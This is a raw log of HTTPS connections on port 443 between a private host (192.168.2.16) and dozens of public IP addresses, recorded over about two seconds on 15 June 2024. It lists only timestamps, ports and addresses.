Jun 15, 2024 11:14:58.102502108 CEST	443	49782	88.212.201.198	192.168.2.16
Jun 15, 2024 11:14:58.106142044 CEST	443	49782	88.212.201.198	192.168.2.16
Jun 15, 2024 11:14:58.106381893 CEST	49782	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:14:58.106689930 CEST	49782	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:14:58.106689930 CEST	49782	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:14:58.106786013 CEST	443	49782	88.212.201.198	192.168.2.16
Jun 15, 2024 11:14:58.106939077 CEST	443	49782	88.212.201.198	192.168.2.16
Jun 15, 2024 11:14:58.142395973 CEST	49789	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:58.142441034 CEST	443	49789	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:58.142527103 CEST	49789	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:58.142709970 CEST	49789	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:58.142721891 CEST	443	49789	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:58.146697044 CEST	49757	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:58.146730900 CEST	49790	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:58.146826982 CEST	443	49790	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:58.146948099 CEST	49790	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:58.147269011 CEST	49790	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:58.147357941 CEST	443	49790	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:58.154061079 CEST	49782	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:14:58.154128075 CEST	443	49782	88.212.201.198	192.168.2.16
Jun 15, 2024 11:14:58.188548088 CEST	443	49757	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:58.202018023 CEST	49782	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:14:58.234005928 CEST	443	49778	78.140.242.74	192.168.2.16
Jun 15, 2024 11:14:58.259627104 CEST	443	49781	91.228.74.244	192.168.2.16
Jun 15, 2024 11:14:58.259893894 CEST	49781	443	192.168.2.16	91.228.74.244
Jun 15, 2024 11:14:58.259962082 CEST	443	49781	91.228.74.244	192.168.2.16
Jun 15, 2024 11:14:58.263555050 CEST	443	49781	91.228.74.244	192.168.2.16
Jun 15, 2024 11:14:58.263639927 CEST	49781	443	192.168.2.16	91.228.74.244
Jun 15, 2024 11:14:58.264585972 CEST	49781	443	192.168.2.16	91.228.74.244
Jun 15, 2024 11:14:58.264744997 CEST	49781	443	192.168.2.16	91.228.74.244
Jun 15, 2024 11:14:58.264758110 CEST	443	49781	91.228.74.244	192.168.2.16
Jun 15, 2024 11:14:58.264784098 CEST	443	49781	91.228.74.244	192.168.2.16
Jun 15, 2024 11:14:58.281035900 CEST	49778	443	192.168.2.16	78.140.242.74
Jun 15, 2024 11:14:58.281105042 CEST	443	49778	78.140.242.74	192.168.2.16
Jun 15, 2024 11:14:58.281558037 CEST	49778	443	192.168.2.16	78.140.242.74
Jun 15, 2024 11:14:58.281791925 CEST	443	49778	78.140.242.74	192.168.2.16
Jun 15, 2024 11:14:58.281956911 CEST	49778	443	192.168.2.16	78.140.242.74
Jun 15, 2024 11:14:58.312926054 CEST	49673	443	192.168.2.16	204.79.197.203
Jun 15, 2024 11:14:58.312954903 CEST	49781	443	192.168.2.16	91.228.74.244
Jun 15, 2024 11:14:58.313019037 CEST	443	49781	91.228.74.244	192.168.2.16
Jun 15, 2024 11:14:58.320732117 CEST	443	49786	162.19.138.117	192.168.2.16
Jun 15, 2024 11:14:58.320941925 CEST	49786	443	192.168.2.16	162.19.138.117
Jun 15, 2024 11:14:58.320954084 CEST	443	49786	162.19.138.117	192.168.2.16
Jun 15, 2024 11:14:58.322387934 CEST	443	49786	162.19.138.117	192.168.2.16
Jun 15, 2024 11:14:58.322452068 CEST	49786	443	192.168.2.16	162.19.138.117
Jun 15, 2024 11:14:58.323322058 CEST	49786	443	192.168.2.16	162.19.138.117
Jun 15, 2024 11:14:58.323396921 CEST	443	49786	162.19.138.117	192.168.2.16
Jun 15, 2024 11:14:58.323496103 CEST	49786	443	192.168.2.16	162.19.138.117
Jun 15, 2024 11:14:58.323502064 CEST	443	49786	162.19.138.117	192.168.2.16
Jun 15, 2024 11:14:58.327330112 CEST	443	49785	162.19.138.116	192.168.2.16
Jun 15, 2024 11:14:58.327541113 CEST	49785	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:14:58.327608109 CEST	443	49785	162.19.138.116	192.168.2.16
Jun 15, 2024 11:14:58.328779936 CEST	443	49785	162.19.138.116	192.168.2.16
Jun 15, 2024 11:14:58.328854084 CEST	49785	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:14:58.329745054 CEST	49785	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:14:58.329813004 CEST	443	49785	162.19.138.116	192.168.2.16
Jun 15, 2024 11:14:58.329886913 CEST	49785	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:14:58.329906940 CEST	443	49785	162.19.138.116	192.168.2.16
Jun 15, 2024 11:14:58.360950947 CEST	49781	443	192.168.2.16	91.228.74.244
Jun 15, 2024 11:14:58.376929998 CEST	49785	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:14:58.376935959 CEST	49786	443	192.168.2.16	162.19.138.117
Jun 15, 2024 11:14:58.378667116 CEST	443	49782	88.212.201.198	192.168.2.16
Jun 15, 2024 11:14:58.378829002 CEST	443	49782	88.212.201.198	192.168.2.16
Jun 15, 2024 11:14:58.378909111 CEST	49782	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:14:58.379380941 CEST	49782	443	192.168.2.16	88.212.201.198
Jun 15, 2024 11:14:58.379412889 CEST	443	49782	88.212.201.198	192.168.2.16
Jun 15, 2024 11:14:58.518155098 CEST	443	49781	91.228.74.244	192.168.2.16
Jun 15, 2024 11:14:58.518366098 CEST	443	49781	91.228.74.244	192.168.2.16
Jun 15, 2024 11:14:58.518454075 CEST	49781	443	192.168.2.16	91.228.74.244
Jun 15, 2024 11:14:58.518858910 CEST	49781	443	192.168.2.16	91.228.74.244
Jun 15, 2024 11:14:58.518907070 CEST	443	49781	91.228.74.244	192.168.2.16
Jun 15, 2024 11:14:58.533452034 CEST	49791	443	192.168.2.16	91.228.74.159
Jun 15, 2024 11:14:58.533484936 CEST	443	49791	91.228.74.159	192.168.2.16
Jun 15, 2024 11:14:58.533739090 CEST	49791	443	192.168.2.16	91.228.74.159
Jun 15, 2024 11:14:58.533739090 CEST	49791	443	192.168.2.16	91.228.74.159
Jun 15, 2024 11:14:58.533785105 CEST	443	49791	91.228.74.159	192.168.2.16
Jun 15, 2024 11:14:58.549720049 CEST	443	49783	99.81.158.184	192.168.2.16
Jun 15, 2024 11:14:58.550059080 CEST	49783	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:14:58.550129890 CEST	443	49783	99.81.158.184	192.168.2.16
Jun 15, 2024 11:14:58.551628113 CEST	443	49783	99.81.158.184	192.168.2.16
Jun 15, 2024 11:14:58.551713943 CEST	49783	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:14:58.552531958 CEST	49783	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:14:58.552618980 CEST	443	49783	99.81.158.184	192.168.2.16
Jun 15, 2024 11:14:58.552644014 CEST	49783	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:14:58.560636044 CEST	443	49784	185.89.210.212	192.168.2.16
Jun 15, 2024 11:14:58.560972929 CEST	49784	443	192.168.2.16	185.89.210.212
Jun 15, 2024 11:14:58.561009884 CEST	443	49784	185.89.210.212	192.168.2.16
Jun 15, 2024 11:14:58.562025070 CEST	443	49784	185.89.210.212	192.168.2.16
Jun 15, 2024 11:14:58.562094927 CEST	49784	443	192.168.2.16	185.89.210.212
Jun 15, 2024 11:14:58.562325001 CEST	49784	443	192.168.2.16	185.89.210.212
Jun 15, 2024 11:14:58.562412977 CEST	49784	443	192.168.2.16	185.89.210.212
Jun 15, 2024 11:14:58.562419891 CEST	443	49784	185.89.210.212	192.168.2.16
Jun 15, 2024 11:14:58.562489986 CEST	443	49786	162.19.138.117	192.168.2.16
Jun 15, 2024 11:14:58.562855959 CEST	443	49786	162.19.138.117	192.168.2.16
Jun 15, 2024 11:14:58.562961102 CEST	49786	443	192.168.2.16	162.19.138.117
Jun 15, 2024 11:14:58.563074112 CEST	49786	443	192.168.2.16	162.19.138.117
Jun 15, 2024 11:14:58.563086033 CEST	443	49786	162.19.138.117	192.168.2.16
Jun 15, 2024 11:14:58.569704056 CEST	443	49785	162.19.138.116	192.168.2.16
Jun 15, 2024 11:14:58.569999933 CEST	443	49785	162.19.138.116	192.168.2.16
Jun 15, 2024 11:14:58.570066929 CEST	49785	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:14:58.570472002 CEST	49785	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:14:58.570518970 CEST	443	49785	162.19.138.116	192.168.2.16
Jun 15, 2024 11:14:58.572808027 CEST	49792	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:14:58.572899103 CEST	443	49792	162.19.138.116	192.168.2.16
Jun 15, 2024 11:14:58.573019028 CEST	49792	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:14:58.573338985 CEST	49793	443	192.168.2.16	141.95.33.120
Jun 15, 2024 11:14:58.573390007 CEST	443	49793	141.95.33.120	192.168.2.16
Jun 15, 2024 11:14:58.573443890 CEST	49793	443	192.168.2.16	141.95.33.120
Jun 15, 2024 11:14:58.573570013 CEST	49792	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:14:58.573612928 CEST	443	49792	162.19.138.116	192.168.2.16
Jun 15, 2024 11:14:58.573689938 CEST	49793	443	192.168.2.16	141.95.33.120
Jun 15, 2024 11:14:58.573705912 CEST	443	49793	141.95.33.120	192.168.2.16
Jun 15, 2024 11:14:58.580347061 CEST	49794	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:14:58.580370903 CEST	443	49794	162.19.138.116	192.168.2.16
Jun 15, 2024 11:14:58.580435991 CEST	49794	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:14:58.580615044 CEST	49794	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:14:58.580627918 CEST	443	49794	162.19.138.116	192.168.2.16
Jun 15, 2024 11:14:58.599945068 CEST	49783	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:14:58.600012064 CEST	443	49783	99.81.158.184	192.168.2.16
Jun 15, 2024 11:14:58.604552031 CEST	443	49784	185.89.210.212	192.168.2.16
Jun 15, 2024 11:14:58.615046978 CEST	49784	443	192.168.2.16	185.89.210.212
Jun 15, 2024 11:14:58.615080118 CEST	443	49784	185.89.210.212	192.168.2.16
Jun 15, 2024 11:14:58.646985054 CEST	49783	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:14:58.663403034 CEST	49784	443	192.168.2.16	185.89.210.212
Jun 15, 2024 11:14:58.797352076 CEST	443	49783	99.81.158.184	192.168.2.16
Jun 15, 2024 11:14:58.807475090 CEST	443	49784	185.89.210.212	192.168.2.16
Jun 15, 2024 11:14:58.807559013 CEST	443	49784	185.89.210.212	192.168.2.16
Jun 15, 2024 11:14:58.807614088 CEST	49784	443	192.168.2.16	185.89.210.212
Jun 15, 2024 11:14:58.808006048 CEST	49784	443	192.168.2.16	185.89.210.212
Jun 15, 2024 11:14:58.808027029 CEST	443	49784	185.89.210.212	192.168.2.16
Jun 15, 2024 11:14:58.814707041 CEST	443	49790	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:58.814954042 CEST	49790	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:58.814990044 CEST	443	49790	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:58.816163063 CEST	443	49790	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:58.816466093 CEST	49790	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:58.816687107 CEST	443	49790	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:58.837944984 CEST	49783	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:14:58.837980032 CEST	443	49783	99.81.158.184	192.168.2.16
Jun 15, 2024 11:14:58.838265896 CEST	49783	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:14:58.838460922 CEST	443	49783	99.81.158.184	192.168.2.16
Jun 15, 2024 11:14:58.838517904 CEST	49783	443	192.168.2.16	99.81.158.184
Jun 15, 2024 11:14:58.851667881 CEST	49796	443	192.168.2.16	35.244.159.8
Jun 15, 2024 11:14:58.851689100 CEST	443	49796	35.244.159.8	192.168.2.16
Jun 15, 2024 11:14:58.851754904 CEST	49796	443	192.168.2.16	35.244.159.8
Jun 15, 2024 11:14:58.851949930 CEST	49796	443	192.168.2.16	35.244.159.8
Jun 15, 2024 11:14:58.851978064 CEST	443	49796	35.244.159.8	192.168.2.16
Jun 15, 2024 11:14:58.852288961 CEST	49797	443	192.168.2.16	185.64.191.210
Jun 15, 2024 11:14:58.852315903 CEST	443	49797	185.64.191.210	192.168.2.16
Jun 15, 2024 11:14:58.852364063 CEST	49797	443	192.168.2.16	185.64.191.210
Jun 15, 2024 11:14:58.852478027 CEST	49798	443	192.168.2.16	185.89.210.82
Jun 15, 2024 11:14:58.852490902 CEST	443	49798	185.89.210.82	192.168.2.16
Jun 15, 2024 11:14:58.852540970 CEST	49798	443	192.168.2.16	185.89.210.82
Jun 15, 2024 11:14:58.852642059 CEST	49797	443	192.168.2.16	185.64.191.210
Jun 15, 2024 11:14:58.852649927 CEST	443	49797	185.64.191.210	192.168.2.16
Jun 15, 2024 11:14:58.852771044 CEST	49798	443	192.168.2.16	185.89.210.82
Jun 15, 2024 11:14:58.852780104 CEST	443	49798	185.89.210.82	192.168.2.16
Jun 15, 2024 11:14:58.853646040 CEST	49799	443	192.168.2.16	142.250.186.162
Jun 15, 2024 11:14:58.853735924 CEST	443	49799	142.250.186.162	192.168.2.16
Jun 15, 2024 11:14:58.853807926 CEST	49799	443	192.168.2.16	142.250.186.162
Jun 15, 2024 11:14:58.853957891 CEST	49799	443	192.168.2.16	142.250.186.162
Jun 15, 2024 11:14:58.853992939 CEST	443	49799	142.250.186.162	192.168.2.16
Jun 15, 2024 11:14:58.855549097 CEST	49800	443	192.168.2.16	52.49.242.239
Jun 15, 2024 11:14:58.855571032 CEST	443	49800	52.49.242.239	192.168.2.16
Jun 15, 2024 11:14:58.855643988 CEST	49800	443	192.168.2.16	52.49.242.239
Jun 15, 2024 11:14:58.855782986 CEST	49800	443	192.168.2.16	52.49.242.239
Jun 15, 2024 11:14:58.855806112 CEST	443	49800	52.49.242.239	192.168.2.16
Jun 15, 2024 11:14:58.868948936 CEST	49790	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:58.919002056 CEST	443	49787	157.90.33.72	192.168.2.16
Jun 15, 2024 11:14:58.919226885 CEST	49787	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:14:58.919241905 CEST	443	49787	157.90.33.72	192.168.2.16
Jun 15, 2024 11:14:58.920244932 CEST	443	49787	157.90.33.72	192.168.2.16
Jun 15, 2024 11:14:58.920304060 CEST	49787	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:14:58.920653105 CEST	49787	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:14:58.920707941 CEST	443	49787	157.90.33.72	192.168.2.16
Jun 15, 2024 11:14:58.920780897 CEST	49787	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:14:58.920788050 CEST	443	49787	157.90.33.72	192.168.2.16
Jun 15, 2024 11:14:58.962937117 CEST	49787	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:14:58.985186100 CEST	443	49789	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:58.985522985 CEST	49789	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:58.985553026 CEST	443	49789	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:58.986041069 CEST	443	49789	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:58.986327887 CEST	49789	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:58.986413002 CEST	443	49789	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:58.986450911 CEST	49789	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:59.025938988 CEST	49789	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:59.025968075 CEST	443	49789	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:59.165906906 CEST	443	49787	157.90.33.72	192.168.2.16
Jun 15, 2024 11:14:59.165994883 CEST	443	49787	157.90.33.72	192.168.2.16
Jun 15, 2024 11:14:59.166048050 CEST	49787	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:14:59.166738987 CEST	49787	443	192.168.2.16	157.90.33.72
Jun 15, 2024 11:14:59.166753054 CEST	443	49787	157.90.33.72	192.168.2.16
Jun 15, 2024 11:14:59.178066015 CEST	49801	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:14:59.178139925 CEST	443	49801	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:59.178227901 CEST	49801	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:14:59.178396940 CEST	49801	443	192.168.2.16	157.90.33.121
Jun 15, 2024 11:14:59.178431034 CEST	443	49801	157.90.33.121	192.168.2.16
Jun 15, 2024 11:14:59.236396074 CEST	443	49789	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:59.236563921 CEST	443	49789	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:59.236623049 CEST	49789	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:59.237025023 CEST	49789	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:59.237046003 CEST	443	49789	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:59.239391088 CEST	49802	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:59.239489079 CEST	443	49802	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:59.239734888 CEST	49802	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:59.239850998 CEST	49802	443	192.168.2.16	88.208.46.222
Jun 15, 2024 11:14:59.239886045 CEST	443	49802	88.208.46.222	192.168.2.16
Jun 15, 2024 11:14:59.364125967 CEST	443	49757	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:59.364165068 CEST	443	49757	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:59.364176035 CEST	443	49757	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:59.364229918 CEST	49757	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:59.364259005 CEST	443	49757	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:59.364316940 CEST	443	49757	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:59.364337921 CEST	443	49757	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:59.364367008 CEST	443	49757	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:59.364379883 CEST	49757	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:59.364381075 CEST	49757	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:59.364392042 CEST	49757	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:59.364403009 CEST	49757	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:59.364905119 CEST	443	49757	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:59.364969969 CEST	49757	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:59.364976883 CEST	443	49757	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:59.365006924 CEST	443	49757	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:59.365041971 CEST	49757	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:59.365156889 CEST	49757	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:59.365166903 CEST	443	49757	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:59.383166075 CEST	49790	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:59.384087086 CEST	49803	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:59.384141922 CEST	443	49803	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:59.384203911 CEST	49804	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:59.384238005 CEST	443	49804	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:59.384248972 CEST	49803	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:59.384294987 CEST	49804	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:59.384543896 CEST	49805	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:59.384557962 CEST	443	49805	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:59.384612083 CEST	49805	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:59.384764910 CEST	49806	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:59.384776115 CEST	443	49806	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:59.384824991 CEST	49806	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:59.384955883 CEST	49807	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:59.384972095 CEST	443	49807	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:59.385018110 CEST	49807	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:59.385536909 CEST	49803	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:59.385557890 CEST	443	49803	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:59.385687113 CEST	49804	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:59.385698080 CEST	443	49804	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:59.385849953 CEST	49805	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:59.385868073 CEST	443	49805	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:59.386003017 CEST	49806	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:59.386018991 CEST	443	49806	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:59.386172056 CEST	49807	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:59.386179924 CEST	443	49807	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:59.400024891 CEST	443	49793	141.95.33.120	192.168.2.16
Jun 15, 2024 11:14:59.400365114 CEST	49793	443	192.168.2.16	141.95.33.120
Jun 15, 2024 11:14:59.400372028 CEST	443	49793	141.95.33.120	192.168.2.16
Jun 15, 2024 11:14:59.403062105 CEST	443	49792	162.19.138.116	192.168.2.16
Jun 15, 2024 11:14:59.403348923 CEST	49792	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:14:59.403378010 CEST	443	49792	162.19.138.116	192.168.2.16
Jun 15, 2024 11:14:59.403860092 CEST	443	49792	162.19.138.116	192.168.2.16
Jun 15, 2024 11:14:59.404208899 CEST	443	49793	141.95.33.120	192.168.2.16
Jun 15, 2024 11:14:59.404273987 CEST	49792	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:14:59.404284000 CEST	49793	443	192.168.2.16	141.95.33.120
Jun 15, 2024 11:14:59.404414892 CEST	443	49792	162.19.138.116	192.168.2.16
Jun 15, 2024 11:14:59.404560089 CEST	49793	443	192.168.2.16	141.95.33.120
Jun 15, 2024 11:14:59.404642105 CEST	443	49793	141.95.33.120	192.168.2.16
Jun 15, 2024 11:14:59.404691935 CEST	49793	443	192.168.2.16	141.95.33.120
Jun 15, 2024 11:14:59.413296938 CEST	443	49794	162.19.138.116	192.168.2.16
Jun 15, 2024 11:14:59.413672924 CEST	49794	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:14:59.413697958 CEST	443	49794	162.19.138.116	192.168.2.16
Jun 15, 2024 11:14:59.414788008 CEST	443	49794	162.19.138.116	192.168.2.16
Jun 15, 2024 11:14:59.414858103 CEST	49794	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:14:59.415662050 CEST	49794	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:14:59.415734053 CEST	443	49794	162.19.138.116	192.168.2.16
Jun 15, 2024 11:14:59.415924072 CEST	49794	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:14:59.415930986 CEST	443	49794	162.19.138.116	192.168.2.16
Jun 15, 2024 11:14:59.428510904 CEST	443	49790	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:59.451921940 CEST	49793	443	192.168.2.16	141.95.33.120
Jun 15, 2024 11:14:59.451940060 CEST	49792	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:14:59.451944113 CEST	443	49793	141.95.33.120	192.168.2.16
Jun 15, 2024 11:14:59.461973906 CEST	443	49796	35.244.159.8	192.168.2.16
Jun 15, 2024 11:14:59.462248087 CEST	49796	443	192.168.2.16	35.244.159.8
Jun 15, 2024 11:14:59.462317944 CEST	443	49796	35.244.159.8	192.168.2.16
Jun 15, 2024 11:14:59.463845968 CEST	443	49796	35.244.159.8	192.168.2.16
Jun 15, 2024 11:14:59.463934898 CEST	49796	443	192.168.2.16	35.244.159.8
Jun 15, 2024 11:14:59.465322971 CEST	49796	443	192.168.2.16	35.244.159.8
Jun 15, 2024 11:14:59.465424061 CEST	443	49796	35.244.159.8	192.168.2.16
Jun 15, 2024 11:14:59.467945099 CEST	49794	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:14:59.499970913 CEST	49793	443	192.168.2.16	141.95.33.120
Jun 15, 2024 11:14:59.516123056 CEST	49796	443	192.168.2.16	35.244.159.8
Jun 15, 2024 11:14:59.516190052 CEST	443	49796	35.244.159.8	192.168.2.16
Jun 15, 2024 11:14:59.564074039 CEST	49796	443	192.168.2.16	35.244.159.8
Jun 15, 2024 11:14:59.611038923 CEST	443	49791	91.228.74.159	192.168.2.16
Jun 15, 2024 11:14:59.611449957 CEST	49791	443	192.168.2.16	91.228.74.159
Jun 15, 2024 11:14:59.611521959 CEST	443	49791	91.228.74.159	192.168.2.16
Jun 15, 2024 11:14:59.612677097 CEST	443	49791	91.228.74.159	192.168.2.16
Jun 15, 2024 11:14:59.612884998 CEST	49791	443	192.168.2.16	91.228.74.159
Jun 15, 2024 11:14:59.613178015 CEST	49791	443	192.168.2.16	91.228.74.159
Jun 15, 2024 11:14:59.613267899 CEST	443	49791	91.228.74.159	192.168.2.16
Jun 15, 2024 11:14:59.613507986 CEST	49791	443	192.168.2.16	91.228.74.159
Jun 15, 2024 11:14:59.613574028 CEST	443	49791	91.228.74.159	192.168.2.16
Jun 15, 2024 11:14:59.644793987 CEST	443	49793	141.95.33.120	192.168.2.16
Jun 15, 2024 11:14:59.645086050 CEST	443	49793	141.95.33.120	192.168.2.16
Jun 15, 2024 11:14:59.645149946 CEST	49793	443	192.168.2.16	141.95.33.120
Jun 15, 2024 11:14:59.649933100 CEST	49793	443	192.168.2.16	141.95.33.120
Jun 15, 2024 11:14:59.649960041 CEST	443	49793	141.95.33.120	192.168.2.16
Jun 15, 2024 11:14:59.652441025 CEST	443	49797	185.64.191.210	192.168.2.16
Jun 15, 2024 11:14:59.652863026 CEST	49797	443	192.168.2.16	185.64.191.210
Jun 15, 2024 11:14:59.652880907 CEST	443	49797	185.64.191.210	192.168.2.16
Jun 15, 2024 11:14:59.653917074 CEST	443	49797	185.64.191.210	192.168.2.16
Jun 15, 2024 11:14:59.653986931 CEST	49797	443	192.168.2.16	185.64.191.210
Jun 15, 2024 11:14:59.655551910 CEST	443	49790	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:59.655589104 CEST	443	49790	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:59.655597925 CEST	443	49790	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:59.655656099 CEST	49790	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:59.655698061 CEST	443	49790	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:59.655714035 CEST	443	49790	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:59.655723095 CEST	443	49790	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:59.655742884 CEST	49790	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:59.655761003 CEST	49790	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:59.657335997 CEST	443	49790	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:59.657366037 CEST	443	49790	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:59.657404900 CEST	49790	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:59.657413960 CEST	443	49790	185.178.208.137	192.168.2.16
Jun 15, 2024 11:14:59.657435894 CEST	49797	443	192.168.2.16	185.64.191.210
Jun 15, 2024 11:14:59.657465935 CEST	49790	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:59.657465935 CEST	49790	443	192.168.2.16	185.178.208.137
Jun 15, 2024 11:14:59.657582998 CEST	443	49794	162.19.138.116	192.168.2.16
Jun 15, 2024 11:14:59.657586098 CEST	443	49797	185.64.191.210	192.168.2.16
Jun 15, 2024 11:14:59.657701969 CEST	443	49794	162.19.138.116	192.168.2.16
Jun 15, 2024 11:14:59.657744884 CEST	49794	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:14:59.660286903 CEST	49791	443	192.168.2.16	91.228.74.159
Jun 15, 2024 11:14:59.663461924 CEST	49794	443	192.168.2.16	162.19.138.116
Jun 15, 2024 11:14:59.663491011 CEST	443	49794	162.19.138.116	192.168.2.16
Jun 15, 2024 11:14:59.705244064 CEST	443	49799	142.250.186.162	192.168.2.16
